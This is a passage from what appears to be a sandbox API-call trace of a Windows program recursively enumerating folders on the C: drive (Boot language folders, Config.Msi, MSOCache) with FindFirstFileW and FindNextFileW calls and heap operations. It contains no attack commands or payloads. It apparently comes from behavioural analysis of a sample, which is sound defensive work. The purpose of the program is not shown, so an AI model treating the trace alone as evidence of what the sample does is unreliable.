lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0076.165] GetProcessHeap () returned 0x470000 [0076.165] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0076.165] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4937c8 [0076.170] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.170] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0076.170] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0076.170] FindClose (in: hFindFile=0x4937c8 | out: hFindFile=0x4937c8) returned 1 [0076.170] GetProcessHeap () returned 0x470000 [0076.170] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0076.170] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0076.170] GetProcessHeap () returned 0x470000 [0076.170] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0076.170] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4937c8 [0076.171] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.171] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0076.171] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0076.171] FindClose (in: hFindFile=0x4937c8 | out: hFindFile=0x4937c8) returned 1 [0076.171] GetProcessHeap () returned 0x470000 [0076.171] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0076.171] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0076.171] GetProcessHeap () returned 0x470000 [0076.171] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0076.171] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4937c8 [0076.173] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.173] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0076.173] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0076.173] FindClose (in: hFindFile=0x4937c8 | out: hFindFile=0x4937c8) returned 1 [0076.173] GetProcessHeap () returned 0x470000 [0076.173] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0076.173] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0076.173] GetProcessHeap () returned 0x470000 [0076.173] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0076.173] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4937c8 [0076.174] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.174] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0076.174] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0076.174] FindClose (in: hFindFile=0x4937c8 | out: hFindFile=0x4937c8) returned 1 [0076.174] GetProcessHeap () returned 0x470000 [0076.174] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0076.174] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0076.174] GetProcessHeap () returned 0x470000 [0076.174] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0076.174] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4937c8 [0076.176] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.176] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0076.176] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0076.176] FindClose (in: hFindFile=0x4937c8 | out: hFindFile=0x4937c8) returned 1 [0076.176] GetProcessHeap () returned 0x470000 [0076.176] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0076.176] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0076.176] GetProcessHeap () returned 0x470000 [0076.176] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0076.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4937c8 [0076.177] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.177] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0076.177] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0076.177] FindClose (in: hFindFile=0x4937c8 | out: hFindFile=0x4937c8) returned 1 [0076.177] GetProcessHeap () returned 0x470000 [0076.177] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0076.177] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0076.177] FindClose (in: hFindFile=0x492fd0 | out: hFindFile=0x492fd0) returned 1 [0076.177] GetProcessHeap () returned 0x470000 [0076.177] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4e5b78 | out: hHeap=0x470000) returned 1 [0076.177] FindNextFileW (in: hFindFile=0x48e718, lpFindFileData=0x2aef6e0 | out: lpFindFileData=0x2aef6e0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0076.177] FindNextFileW (in: hFindFile=0x48e718, lpFindFileData=0x2aef6e0 | out: lpFindFileData=0x2aef6e0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0076.178] FindNextFileW (in: hFindFile=0x48e718, lpFindFileData=0x2aef6e0 | out: lpFindFileData=0x2aef6e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0076.178] GetProcessHeap () returned 0x470000 [0076.178] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4e5b78 [0076.178] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*", lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x492fd0 [0076.179] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.179] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.179] FindClose (in: hFindFile=0x492fd0 | out: hFindFile=0x492fd0) returned 1 [0076.179] GetProcessHeap () returned 0x470000 [0076.179] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4e5b78 | out: hHeap=0x470000) returned 1 [0076.179] FindNextFileW (in: hFindFile=0x48e718, lpFindFileData=0x2aef6e0 | out: lpFindFileData=0x2aef6e0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0076.179] FindNextFileW (in: hFindFile=0x48e718, lpFindFileData=0x2aef6e0 | out: lpFindFileData=0x2aef6e0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xae99ef60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0076.179] FindNextFileW (in: hFindFile=0x48e718, lpFindFileData=0x2aef6e0 | out: lpFindFileData=0x2aef6e0*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0076.179] GetProcessHeap () returned 0x470000 [0076.179] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4e5b78 [0076.179] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*", lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x492fd0 [0076.180] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, 